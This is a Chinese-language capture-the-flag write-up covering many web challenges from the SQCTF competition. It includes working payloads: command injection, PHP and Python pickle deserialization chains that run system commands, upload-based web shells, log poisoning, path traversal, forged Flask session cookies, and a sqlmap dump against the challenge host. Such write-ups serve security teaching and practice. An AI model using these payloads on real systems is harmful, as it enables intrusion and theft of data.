商丘SQCTF 部分题目WP

File_download

image-20250407190204593

根据源码可以知道这有个隐藏表单,提示我们存在下载

image-20250407190240696

根据help.jsp的get or post filename to /DownloadServlet ?,要求我们去传参一个filename

我们先去读一读index.jsp

image-20250407190435075

可以明显知道这个登录界面是个幌子,这题的突破口是下载和读取文件,并可以发现语言用的是java语言。

再者题目提示我们用xml,不难想到/DownloadServlet?filename=/WEB-INF/web.xml

image-20250407190600430

这里有两个servlet,猜测flag应该就在Flagmanager中,我们进行读取

/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class

但提示我们一个这个

image-20250407190708339

然后我想了很久,猜测这边可能会用POST请求,get请求应该会过滤后缀,果然

image-20250407190743125

得到了.class的字节码

反编译后得到

import com.ctf.flag.FlagManager;
import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet;

public class FlagManager extends HttpServlet {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        System.out.println("Please input your flag: ");
        String str = sc.next();
        System.out.println("Your input is: ");
        System.out.println(str);
        char[] stringArr = str.toCharArray();
        Encrypt(stringArr);
    }

    public static void Encrypt(char[] arr) {
        ArrayList<Integer> Resultlist = new ArrayList<>();
        for (int i = 0; i < arr.length; i++) {
            int result = arr[i] + 38 ^ 0x30;
            Resultlist.add(Integer.valueOf(result));
        }
        int[] key = {
                110, 107, 185, 183, 183, 186, 103, 185, 99, 105,
                105, 187, 105, 99, 102, 184, 185, 103, 99, 108,
                186, 107, 187, 99, 183, 109, 105, 184, 102, 106,
                106, 188, 109, 186, 111, 188
        };
        ArrayList<Integer> Keylist = new ArrayList<>();
        for (int j = 0; j < key.length; j++) {
            Keylist.add(Integer.valueOf(key[j]));
        }
        System.out.println("Result: ");
        if (Resultlist.equals(Keylist)) {
            System.out.println("Congratulations! ");
        } else {
            System.out.println("Error! ");
        }
    }
}

我们再写一个脚本即可

import java.util.ArrayList;

public class GetFlag {
    public static void main(String[] args) {
        int[] key = {
                110, 107, 185, 183, 183, 186, 103, 185, 99, 105,
                105, 187, 105, 99, 102, 184, 185, 103, 99, 108,
                186, 107, 187, 99, 183, 109, 105, 184, 102, 106,
                106, 188, 109, 186, 111, 188
        };
        StringBuilder flag = new StringBuilder();
        for (int i = 0; i < key.length; i++) {
            char c = (char) ((key[i] ^ 0x30) - 38);
            flag.append(c);
        }
        System.out.println("Flag: " + flag.toString());
    }
}    

image-20250407190928876

My Blog

image-20250407202855294

点击,得到一份pdf,得到admin/secret123的后台密码,盲猜登录点为login.php

image-20250407202959946

baby include

<?php
if(isset($_GET['look'])){
    // Great, it's the file inclusion master, we have a save !!!
    $look = $_GET['look'];
    $look = str_replace("php", "!!!", $look);
    $look = str_replace("data", "!!!", $look);
    $look = str_replace("filter", "!!!", $look);
    $look = str_replace("input", "!!!", $look);
    include($look);
}else{
    highlight_file(__FILE__);
}

?>

看到这种题 直接访问日志UA头插入一句话木马

image-20250407203437129

image-20250407203441642

嘿嘿嘿

 <?php
highlight_file(__FILE__);

class hhh {
    public $file;
    public $content;

    public function __construct($file, $content) {
        $this->file = $file;
        $this->content = $content;
    }

    public function __destruct() {
        if ($this->file && $this->content) {
            if (strpos($this->file, 'flag') !== false) {
                die("No flag file!");
            }
            if (file_exists($this->file)) {
                die("File already exists!");
            }
            file_put_contents($this->file, $this->content);
        }
    }
}

class xxx {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __toString() {
        return $this->data;
    }
}

class yyy {
    public $path;
    public $allowed;

    public function __construct($path, $allowed) {
        $this->path = $path;
        $this->allowed = $allowed;
    }

    public function __toString() {
        if ($this->allowed) {
            return file_get_contents($this->path);
        } else {
            return "Access Denied!";
        }
    }
}

if (isset($_POST['data'])) {
    $data = unserialize($_POST['data']);

    if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
        die("No cheating!");
    }

    if (strpos($data->file, 'php://') !== false) {
        die("No php protocol!");
    }

    if ($data->content === "GET_FLAG") {
        echo "Flag: " . file_get_contents("flag.php");
    }
}
?>

要构造一个反序列化链来获取flag,关键在于让$data->content等于"GET_FLAG",并绕过所有检查条件。以下是构造payload的步骤:

  1. 分析目标条件:最后的if ($data->content === "GET_FLAG")直接决定是否输出flag。因此,反序列化的对象必须使content属性为"GET_FLAG"
  2. 绕过文件检查
    • file不能是数组,且其md5不能等于md5("flag.php")
    • file不能包含php://协议。
  3. 构造hhh对象:因为只有hhh类有filecontent属性,且需通过检查。
  4. 生成序列化字符串:创建hhh对象,设置file为任意合法值(如test.txt),content"GET_FLAG"
<?php
class hhh {
    public $file = "test.txt";
    public $content = "GET_FLAG";
}

$obj = new hhh();
echo urlencode(serialize($obj));
?>

O%3A3%3A%22hhh%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22test.txt%22%3Bs%3A7%3A%22content%22%3Bs%3A8%3A%22GET_FLAG%22%3B%7D

image-20250407204749406

别阴阳我了行吗?

就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 就 这 ¿ 不 会 吧 ? 就 这 ¿ 就 这 ¿ 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 不 会 吧 ? 就 这 ¿ 不 会 吧 ? 

阴阳怪气解密得到

SQCTF{xm!tql!xm!}

春风得意马蹄疾

社会主义核心价值观多次解密

image-20250407210027492

唯一

image-20250408122801718

直接fenjing一把梭

image-20250408123043141

Through

image-20250408122841319

发现file可以读取文件,多次尝试可以读取index.php

image-20250408122933231

那我们就可以目录穿越读取

我们发现有对../进行了过滤,双写就可以绕过

image-20250408123205948

Ping

<?php
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];
    
    if (strpos($ip, ';') !== false) {
        die('Hacker detected!');
    }
    
    system("ping -c 1 " . $ip);
} else {
    
    highlight_file(__FILE__);
}
?>
/?ip=1 || cat /flag

Input a number

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['sqctf'])){
    $num = $_GET['sqctf'];
    if($num==114514){
        die("逸一时, 误一世!");
    }
    if(intval($num,0)==114514){
        echo $flag;
    }else{
        echo "看看你输入的数字: ".intval($num,0);
    }
}

?>

直接八进制绕过就可以

/?sqctf=0337522

baby rce

 <?php
error_reporting(0);
highlight_file(__FILE__);
extract($_GET);

$token = false;
if(isset($param1) && isset($param2)){
    if(sha1($param1) == sha1($param2)){
        $token = true;
        echo "Level 1 pass\n";
    }
}

class TYctf{
    public $person = 20;
    public $computer_number = 30;

    function getNumber(){
        if(isset($this->person)) {
            echo $this->person;
        }
    }
    function isFullUse(){
        if($this->person != $this->computer_number){
            echo "computer is lacking !!!\n";
        }
        else{
            echo "computer is enough !!!\n";
        }
    }
    static function getKey(){
        include ("flag.php");
        echo "Level 2 pass\n";
        echo "You are winner, this is your reward: \n";
        echo $flag;
    }
}

if($token){
    call_user_func($_POST['payload']);
}

?> 

先绕过第一步

直接数组绕过param1[]=1&param2[]=2

看到static直接想到静态访问getKey()方法

所以payload=TYctf::getKey

image-20250409170011567

小小查询系统

先传一个id=1,id=2,发现这是一个sql注入,直接sqlmap一把梭

python sqlmap.py -u "http://challenge.qsnctf.com:30163/?id=2" --batch -D ctf -T flag -C value --dump

image-20250409170640860

RceMe

<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
    system($command);
} else {
    print("你小子干什么呢?");
}

长度限5绕过

可以反弹shell 也可以构造命令执行

我这里直接用个nl就行(不知道算不算非预期)

?com=nl /*

image-20250409171620603

Upload_Level2

image-20250409172143732

1.php中写入一句话木马

image-20250409172209498

image-20250409172234901

将content-type头改成image/png

发包

image-20250409172301074

然后连接或者直接命令执行就行

image-20250409172320938

Ez_calculate

脚本题(代码能力有限,比较丑陋ahhh)

import requests
import time
from lxml import etree
url="http://challenge.qsnctf.com:31858/"
res=requests.session()
response=res.get(url)
print(response.text)
tree=etree.HTML(response.text)
text=tree.xpath("/html/body/div[1]/text()")
print(text[0])
num=eval(text[0])
print(num)
url_tijiao="http://challenge.qsnctf.com:31858/"
response=res.post(url=url_tijiao,data={'value':num})
print(response.text)

然后访问/flag

!!!尝试后发现这题/flag没有设置什么cookie和一些头,可以直接读取/flag

白月光

image-20250409175222208

SSTI模板注入

直接fenjing

无参之舞

f12查看源代码

image-20250409175707599

得知用户名sqctf

image-20250409175952364

302重定向得知密码为1q2w3e4r

image-20250409180010540

无参读取文件

?exp=echo var_dump(scandir(current(localeconv())));
?exp=echo file_get_contents('f1ag.php');

补充
show_source(array_rand(array_flip(scandir(dirname(dirname(dirname(getcwd())))))));

哎呀大大大黑塔

脑洞题,最后值为PV的bv号

<?php
class Secret {
    public $key;
    public function __construct($key) {
        $this->key = $key;
    }
    public function __destruct() {
        if ($this->key === "SQCTF") {
            include "./flag.php";
            echo "flag : ".$flag;
        } else {
            echo "Try harder!";
        }
    }
}

if (isset($_POST['data'])) {
    $data = $_POST['data'];
    $obj = unserialize($data);
} else {
    highlight_file(__FILE__);
}
?>
<?php
class Secret {
    public $key;
}
$obj = new Secret();
$obj->key = "SQCTF";
echo serialize($obj);
?>
    
O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}

piet

image-20250410162457175

开发人员的小失误

/backup.sql获取源码

-- 创建数据库
CREATE DATABASE IF NOT EXISTS tyctf;
USE tyctf;

-- 创建user表
CREATE TABLE IF NOT EXISTS user (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL,
    password VARCHAR(255) NOT NULL,
    gender ENUM('male', 'female', 'other') NULL,
    birthday DATE NULL
);

-- 创建secret表
CREATE TABLE IF NOT EXISTS secret (
    id INT PRIMARY KEY,
    value VARCHAR(255) NOT NULL
);

-- 创建image表
CREATE TABLE IF NOT EXISTS image (
    imgName VARCHAR(100) NOT NULL,
    date DATE NOT NULL,
    source VARCHAR(255) NOT NULL
);

-- 向secret表插入数据
INSERT INTO secret (id, value) VALUES (1, 'sqctf{c2a50e1af0004cd19e6ea24045acca37}');

伪装


from flask import Flask, session, request, render_template_string
import flask
import os

app = Flask(__name__)
app.secret_key = 'love'

@app.route('/')
def index():
    session['role'] = {
        'is_admin': 0,
        'name': 'aiyamaya'
    }
    with open(__file__, 'r') as file:
        code = file.read()
    return code

@app.route('/admin')
def admin_handler():
    try:
        role = session.get('role')
        if not isinstance(role, dict):
            raise Exception
    except Exception:
        return 'Without you, you are an intruder!'

    if role.get('is_admin') == 1 and role.get('name') == 'sjx':
        flag = os.popen("cat /flag").read()
        message = "Oh, You get me! The flag is: %s" % flag
        return render_template_string(message)
    else:
        return "Error: You don't have the power!"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

先写一个脚本获取一个带有{ 'is_admin': 0, 'name': 'aiyamaya' }的cookie

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = 'love'

# Create the desired session data
session_data = {
    'role': {
        'is_admin': 1,
        'name': 'sjx'
    }
}

# Generate the signed session cookie
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = session_serializer.dumps(session_data)

print("Session Cookie:", cookie)

image-20250411182236611

image-20250411182254907

Are you from SQNU?

image-20250411183046343

图片展示功能

经过多次尝试 发现.user.ini传不上,但是.htaccess可以

image-20250411184308372

然后上传一张带木马的jpg

image-20250411184322159

上传成功进行命令执行

image-20250411184340288

pickle

python pickle反序列化

import pickle
import base64
 
class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('tac /flag').read()",))
    
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu

image-20250411185436974

自私的小s

image-20250411185928583

抓包后发现存在end.php

 <?php
highlight_file(__FILE__);
class Genshin_impact{
    private $value;

    public function __construct($v){
        $this->value = $v;
    }
  
    function __destruct(){
        echo eval($this->value);
    }
}

$payload=$_GET['payload'];
$payload=str_replace("%","nonono",$payload);
unserialize($payload);
?> 

我们不难发现这里有个坑 url编码会进行自动解码 所以这里的str_replace似乎并没有什么用,然后当作正常反序列化来做就行

我们可以先进行本地测试

<?php
highlight_file(__FILE__);
class Genshin_impact{
    private $value;

    public function __construct($v){
        $this->value = $v;
    }

    function __destruct(){
        echo eval($this->value);
    }
}

$a = new Genshin_impact('system($_POST[a]);');
echo urlencode(serialize($a));

image-20250411202526642

O%3A14%3A%22Genshin_impact%22%3A1%3A%7Bs%3A21%3A%22%00Genshin_impact%00value%22%3Bs%3A18%3A%22syst
em%28%24_POST%5Ba%5D%29%3B%22%3B%7D

image-20250411202601224

Look for the homepage

image-20250411194337235

 <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

// 怎么在不知道flag.php中的code和flag的情况下绕过?  我不造啊!!!
if(isset($_GET['pass1']) && isset($_GET['pass2']) && isset($_GET['verify'])){
  $pass1 = (String)$_GET['pass1'];
  $pass2 = (String)$_GET['pass2'];
  $verify_code = (String)$_GET['verify'];

  if($verify_code === $code &&$pass1 === $flag || $pass2 === "welcome"){
    echo "Level1 Pass\n";
    echo "关关难过关关过 !!!";
    if(isset($_POST['value1'])){
      $value1 = $_POST['value1'];
      $value3 = $_GET['value3'];

      parse_str($value1,$a);

      if($a['fly']==md5($value3)){
        echo "Level2 Pass\n";
        echo $flag;
      }
    }
    else{
      echo "想想看parse_str是干嘛的来着\n";
    }
  }
  else{
    echo "你小子就是这样绕过的吗 ???\n";
  }
}

level1我们可以使用变量覆盖绕过

challenge.php?pass1=$flag&pass2=welcome&verify=$code

level2种parse_str用法

image-20250411195435874

所以我们构造fly=0和value3的md5值为0e开头就行

image-20250411195512281

GET: pass1=$flag&pass2=welcome&verify=$code&value3=240610708
POST: value1=fly=0

千查万别

image-20250411221311875

/view?doc=/proc/1/environ

然后搜flag就行

posted @ 2025-04-13 22:42  dynasty_chenzi  阅读(417)  评论(0)    收藏  举报
返回顶端